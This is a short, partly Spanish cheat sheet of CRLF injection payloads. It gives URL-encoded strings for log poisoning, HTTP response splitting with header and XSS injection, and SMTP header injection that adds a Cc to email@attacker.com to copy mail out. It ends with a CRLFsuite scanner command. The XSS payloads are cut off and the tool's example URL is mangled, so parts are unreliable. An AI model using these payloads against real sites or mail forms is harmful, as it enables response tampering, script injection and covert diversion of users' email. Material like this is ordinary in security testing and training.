# CRLF injection
| Descripción | Carácter | ASCII (Dec) | Hex | URL Encoded |
| -------------------- | -------- | ----------- | ------ | ----------- |
| Carriage Return (CR) | \r | 13 | 0x0D | %0D |
| Line Feed (LF) | \n | 10 | 0x0A | %0A |
| CRLF | \r\n | 13 10 | 0x0D0A | %0D%0A |
## Log injection
```sh
# Log poisoning
%0D%0A
```
## HTTP response splitting
```sh
# HTTP header
%0D%0AHeader-Test: value-test
# XSS
%0D%0A%0D%0A
# HTTP header Content-Type + XSS
%0D%0AContent-Type: text/html%0D%0A%0D%0A
```
## SMTP header injection
```sh
# SMTP header
%0D%0AHeader-Test: value-test
## URL encoder
%0D%0AHeader-Test:+value-test
# SMTP header Cc
%0D%0ACc: email@attacker.com
%0D%0ACc: email@attacker.com%0D%0ADoesNotExist: True
## URL encoder
%0D%0ACc:+email%40attacker.com
%0D%0ACc:+email%40attacker.com%0D%0ADoesNotExist:+True
```
## Herramientas
### CRLFsuite
*
```sh
crlfsuite -t http:///param1=value1¶m2=value2
```